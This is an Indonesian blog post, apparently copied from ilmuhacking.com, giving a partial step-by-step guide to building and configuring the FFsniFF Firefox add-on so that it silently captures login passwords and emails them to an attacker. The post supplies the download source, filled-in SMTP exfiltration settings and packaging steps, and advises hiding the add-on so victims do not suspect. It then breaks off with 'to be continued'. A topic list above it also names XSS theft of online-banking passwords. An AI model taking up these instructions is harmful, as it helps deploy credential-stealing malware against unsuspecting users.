Label

4 STEP FOR YOUR BISNIS A SEARCH ENGINE OPTIMIZATION GUIDE ANALYSIS AND VIRUS DEFRAUDING ANTI VIRUS FROM INDONESIA ANTI VIRUS PCMAV FROM INDONESIA Apa HTTP dan HTTPS Apa Move Service Domain Aplikasi Excel Aplikasi Real Market Indonesia suatu Aplikasi berbasis Iphone dan Smatphone Arti Rekursi dan Proses Rekursi Artister Error upload template to blog Asian Konsultansi Online: Cara Menulis Arab pada Allah dan Rasul Bahasa Pemrograman C++ Bahasa Perintah pada Expert Advisor Mql4 BECOME A WEB MASTER Belajar Excel Belajar membuat EA atau Robot Forex Bing Yahoo dan Google Analytics Buku Wajib Bagi Trader Mahir Menganalisa Pergerakan Harga & Membuat EA Cara masang tombol Share Media Sosial Fb Twitter G+ dan lainnya Cara Memasang Aneka WIDGET di Website Cara memasang penangkal atau menyalurkan Petir Cara membuat Aplikasi berita terupdate dengan Visual Basic Cara Membuat Aplikasi Mobile dengan QT Cara membuat Aplikasi Mobile Iphone & Android Cara membuat Backup Image recovery OS Windows XP dan Windows 7 Cara Membuat Boot Flash Disk untuk penginstallan Awal Windows Cara Membuat Konten E-learning dengan Microsoft Cara membuat SITEMAP dan Apa itu SITEMAP Cara membuat Teks bergerak keatas dan kesamping Cara memindahkan domain blogspot ke domain yang lain Cara Mendapatkan ribuan backlinks gratis Cara mengetahui CNAME Domain pada Blog yang Hilang Cara mengetahui Gambar mempunyai hak cipta Cara mengetahui Kode Rahasia Domain (security Code) Cara menggunakan DDE SERVER di MT4 dan Excel Cara mengirim bertype Exe via gmail Cara Menguji Website bisa diakses di OS Mobile (HP) Cara Menyelamatkan data pada flashdisk dan Harddisk yang error Cara Mudah Belajar Cool Edit Pro Cara Mudah Membuat Widget Web Sendiri Code Warna warna HTML Dengan Aplikasi Whaff Ribuan Dollar diraih Download AVG Anti-Virus Free Edition Download Avira Free Antivirus Download Satu Aplikasi Chatting untuk android lengkap Download Template Blog yang keren ELEMEN DASAR C++ Excel Dasar Excel Mahir Excel Menengah Excel Terapan Excel VBA Forum Tanya Jawab Game Google Talk & Yahoo Messenger Hacking Mandiri Internet Banking How to do business online for beginner? IKUTI BEDAH BUKU "MAHIR MENGANALISA PERGERAKAN HARGA & MEMBUAT EA" Informasi-Programmer-Petualang-kuliner: Bahasa Pemograman C++ Buy dan sell Informasi-Programmer-Petualang-kuliner: Cara Memasukan Indikator MT4 Informasi-Programmer-Petualang-kuliner: Download Aplikasi Android SDK Informasi-Programmer-Petualang-kuliner: Download Aplikasi Connectify Hotspot Informasi-Programmer-Petualang-kuliner: Download RealVNC Remote Control Install Flash Player konten agar tidak di copy paste Logika EA Martil Perkalian bebas dan pemindahan Take Profit Mahir Menganalisa dan Membuat EA Mahir Menganalisa pergerakan harga dan Membuat EA Mandriva InstantOn Membuat Aplikasi Biodata Visi dan Misi Calon pemimpin Membuat EA atau Robot Trading secara Online Mendapatkan Dollar dengan Aplikasi Whaff MENGAPA MEMILIH BAHASA PEMOGRAMAN C + + Mengenai Teknologi Java Mengenal Visual Basic 6.0 Menjaring Password dengan Firefox Sniffer Menjaring Password KlikBCA dengan XSS OPERATOR DAN STATEMENT Optimalkan Seo dengan Search Engine google Panduan Dasar Microsoft WebMatrix Pelajaran Syntaq PHP mysql_info() & mysql_num_filed() Pelajaran Syntaq SQL Create Database & Table Pelajaran Syntax HTML <blockquote> & <bdo> Pelajaran Syntax HTML address area dan base Pelajaran Syntax HTML Button & Caption Pelajaran Syntax HTML del dir dan div Pelajaran Syntax HTML fieldset font form & frame Pelajaran Syntax HTML h1 head meta & menu Pelajaran Syntax HTML Kedua Pelajaran Syntax HTML noframes noscript & option Pelajaran Syntax HTML Script Select Strike & Span Pelajaran Syntax PHP asin() & acos() Pelajaran syntax PHP bindec() & decbin() Pelajaran Syntax PHP Do While & For Loop Pelajaran Syntax PHP executable readable & writable Pelajaran Syntax PHP fgets fgetc & file_exits Pelajaran Syntax PHP Fstat Fread COpy & Unlink Pelajaran Syntax PHP ftp_connect() & ftp_close() Pelajaran Syntax PHP ftp_delete() & ftp_exec() Pelajaran Syntax PHP ftp_quit() & ftp_rename() Pelajaran Syntax PHP getdate idate & strtotime Pelajaran Syntax PHP money_format() & number_format() Pelajaran Syntax PHP mysql_connect & Mysql_close() Pelajaran Syntax PHP mysql_fetch_lengths() & object() Pelajaran Syntax PHP mysql_result() & mysql_select_db() Pelajaran Syntax PHP rand() Pow() & echo() Pelajaran Syntax PHP Readfile Setcookie Unset & Mail Pelajaran Syntax PHP round() fmod() & exp() Pelajaran Syntax PHP set_exception_handler & Error_log Pelajaran Syntax PHP Struktur Dasar Pelajaran Syntax PHP trim() chop() atau rtrim() Pelajaran Syntax SQL dateDiff() & Date_Format() Pelajaran Syntax SQL Order By Like & Between Pelajaran Syntax SQL union & Alter Table Pelajaran Syntax SQL Update Delete & Left Join Pelajaran Syntax Visual basic MsgBox Pelajaran Visual Basic MsgBox & if then else Pelajaran Visual Basic Select Case & Len() Pelajaran Visual Basic Space$() & Replace() Pelajaran Visual Basic TimeSerial() & InputBox() Pelajaran Visual Basic WeekDay() & WeekDayName() Pengenalan Bahasa Pemograman JAVA Perjalanan Syntax HTML Table Textarea & Tittle RECEIVE BUSINESS SERVICES HACKING Rumus Excel STATEMENT CONTROL C++ Syntax HTML (Hypetext Markup Language Teknik Social Engineering Tentang Internet Information Services (IIS) The Ultimate Business Model for Newbies Variable dan Operator di Visual basic Video Cara Membuat Blog buat Adik-Adik Video Mahir menganalisa pergerakan harga dan membuat EA World of online business

Menjaring Password dengan Firefox Sniffer

Menjaring Password  dengan Firefox Sniffer

Firefox adalah browser andalan saya, terutama untuk urusan penetration testing. Firefox memiliki banyak sekali addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun tidak semua addon membantu pengguna, ada juga addon yang menyadap dan mengirimkan username/password pengguna ketika login ke email attacker, addon itu adalah FFsniFF.

Dalam artikel ini akan menunjukkan simulasi penyadapan password di browser korban dan mengirimkan hasil sadapannya ke email saya di ilmuhacking.com. Setelah itu saya akan jelaskan cara kerja FFsniFF dengan membedah source codenya.

Sekilas tentang  addon Firefox

Addon firefox adalah program dalam javascript yang diload dan diaktifkan setiap firefox dijalankan. Addon ini diperlukan untuk melakukan hal-hal yang tidak disediakan oleh firefox (firefox hanya menyediakan fungsi-fungsi dasar saja). Antarmuka addon ada yang berbentuk ikon di status bar, toolbar atau boleh juga tidak memiliki antarmuka sama sekali. FFsniFF adalah contoh addon yang tidak memiliki antarmuka pengguna sama sekali, hal ini bisa dimaklumi karena memang addon ini harus bersifat stealth.

Addon dipaketkan dan disebarkan dalam bentuk file ZIP, namun ekstensi filenya bukan zip melainkan XPI (dibaca “zippy”). Dalam file xpi tersebut ada banyak file dan folder lain seperti source code javascript, gambar dan file xml deskriptor. File-file yang umumnya ada dalam sebuah paket zippy adalah:
1 exampleExt.xpi:
2               /install.rdf
3               /components/*
4               /components/cmdline.js
5               /defaults/
6               /defaults/preferences/*.js
7               /plugins/*
8               /chrome.manifest
9               /chrome/icons/default/*
10              /chrome/
11              /chrome/content/
Install.rdf adalah deskriptor untuk keperluan instalasi. Selain itu di dalam paket itu juga ada file javascript yang berisi kode program yang menjalankan fungsi addon. Selebihnya adalah file-file untuk menangani user interface addon.

Membuat paket instalasi ffsniff.xpi

Langkah awal saya harus membuat paket instalasi addon ffsniff.xpi. Untuk itu saya harus mengunduh   file   sumber   FFsniFF   dari    http://azurit.elbiahosting.sk/ffsniff/.   Setelah diunduh, file tar.gz itu harus dimekarkan. Isi dari paket itu setelah dimekarkan adalah:
1 pkg_creator.py
2 src/
3 src/install.rdf
4 src/chrome/
5 src/chrome/content/
6 src/chrome/content/ffsniff/
7 src/chrome/content/ffsniff/ffsniffOverlay.xul
8 src/chrome/content/ffsniff/ffsniffOverlay_orig.js
9 src/chrome/content/ffsniff/contents.rdf
File tar.gz itu tidak bisa langsung diinstall ke firefox karena masih berbentuk kumpulan file  yang  harus diubah dan dibungkus  menjadi  paket  zippy (xpi).  Sebenarnya untuk membuat  paket  zippy  sudah  disediakan  script  pkg_creator.py  dalam  bahasa  python, namun dalam artikel ini saya tidak  memakai script  itu  agar  saya bisa  menunjukkan bagaimana proses pembuatan file xpi dari source code.

Setelah  source  berhasil  didownload,  berikutnya  saya  harus  membuat  file ffsniffOverlay.js,  caranya  adalah  dengan  mengcopy  file  ffsniffOverlay_orig.js  dalam nama ffsniffOverlay.js. Setelah itu ffsniffOverlay.js akan saya edit untuk mengubah beberapa variabel berikut:

1 var send_from_host = "<SEND_FROM_HOST>";
2 var send_from = "<SEND_FROM>";
3 var send_to = "<SEND_TO>";
4 var subject = "<SUBJECT>";
5 var smtp_host = "<SMTP_HOST>";
6 var smtp_port = "<SMTP_PORT>";
7 var enable_hide = "<HIDDING>";
Variabel-variabel tersebut adalah parameter untuk mengirim email melalui smtp. smtp_host  berisi alamat  smtp  server  yang  dipakai untuk  mengirim email.  Sebaiknya gunakan smtp server yang bertanggung jawab untuk domain email yang kita tuju, dalam kasus ini domain email tujuan adalah @ilmuhacking.com. Oleh karena itu saya harus mencari smtp server yang bertanggung jawab untuk domain ilmuhacking.com. Cara mencarinya adalah dengan melihat MX record dari DNS ilmuhacking.com. Anda bisa gunakan layanan  dnswatch.info untuk mencari MX record ilmuhacking.com. Perhatikan gambar di samping, terlihat bahwa ternyata smtp server untuk ilmuhacking.com berada di host yang sama,  jadi smtp_host saya isi dengan  ilmuhacking.com. Pada domain  lain biasanya mail server adalah mail.domainanda.com.

send_from dan send_to saya isi dengan nilai yang sama, yaitu testing@ilmuhacking.com, alamat itu adalah alamat email asal dan tujuan. Perhatikan bahwa domain email sumber dan tujuan harus dalam domain yang sama (ilmuhacking.com) karena smtp server umumnya tidak bersedia mengirimkan email ke domain lain (istilahnya open relay) bila pengirim tidak memasukkan password dulu (anonymous).

enable_hide sengaja saya isi “no” untuk kemudahan, dalam kasus nyata variabel ini harus diisi dengan “yes” agar tersembunyi dari daftar addon sehingga tidak membuat korban curiga. Bila anda masih coba-coba, sebaiknya isi dulu dengan “no”.

smtp_port adalah port smtp server, port standar untuk layanan smtp adalah 25. subject adalah subject dari email yang akan berisi password korban.
1 var send_from_host = "ilmuhacking.com";
2 var send_from = "testing@ilmuhacking.com";
3 var send_to = "testing@ilmuhacking.com";
4 var subject = "Log Firefox Sniffer";
5 var smtp_host = "ilmuhacking.com";
6 var smtp_port = "25";
7 var enable_hide = "no";
Konfigurasi smtp untuk  @telkom.net

Agar lebih memahami tentang konfigurasi email ini, saya beri contoh lain dengan email tujuan  ke  telkom.net.Dengan  cara  yang  sama  saya  harus  membaca  MX  record  dari domain telkom.net, ternyata MX record untuk telkom.net ada 2: mx1.mail.plasa.com dan mx2.mail.plasa.com. Terserah mau pilih yang mana saja. Karena memakai smtp server telkom.net, email tujuan harus berada di domain @telkom.net, di sini saya pakai rizki.wicaksono@telkom.net. Alamat asal saya isi sama dengan email tujuan. Ini berarti saya mengirim email dari dan ke email yang sama, itu tidak masalah. send_from_host saya isi dengan telkom.net karena ini adalah domain. Jadi konfigurasi smtp untuk email tujuan @telkom.net adalah sebagai berikut:
1 var send_from_host = "telkom.net";
2 var send_from = "rizki.wicaksono@telkom.net";
3 var send_to = "rizki.wicaksono@telkom.net";
4 var subject = "Log Firefox Sniffer";
5 var smtp_host = "mx1.mail.plasa.com";
6 var smtp_port = "25";
7 var enable_hide = "no";
Membuat file ffsniff.jar


Setelah  variabel-variabel  di  file  ffsniffOverlay.js  sudah  diubah,  langkah  berikutnya adalah membuat  file ffsniff.jar. Walaupun ekstensi filenya adalah jar, sebenarnya ini adalah file zip biasa. File-file yang dimasukkan dalam ffsniff.jar adalah:


content/ffsniff/contents.rdf content/ffsniff/ffsniffOverlay.js content/ffsniff/ffsniffOverlay.xul

Hasil file ffsniff.jar harus mengikutsertakan folder content/ffsniff, tidak boleh 3 file itu dizip tanpa mengikutsertakan foldernya. Jadi untuk membuat file ffsniff.jar harus berada di parent folder dari content/ffsniff. Anda bebas menggunakan program apa saja untuk kompresi zip ini, saya sendiri memakai WinRAR. Ketika dibuka dengan WINRAR isi dari ffsniff.jar tampak seperti gambar di bawah ini, perhatikan kolom pathnya harus berisi seperti itu.

Bersambung >>>>>>>>>>>>>>>>>>>>






0 Response to "Menjaring Password dengan Firefox Sniffer"

Posting Komentar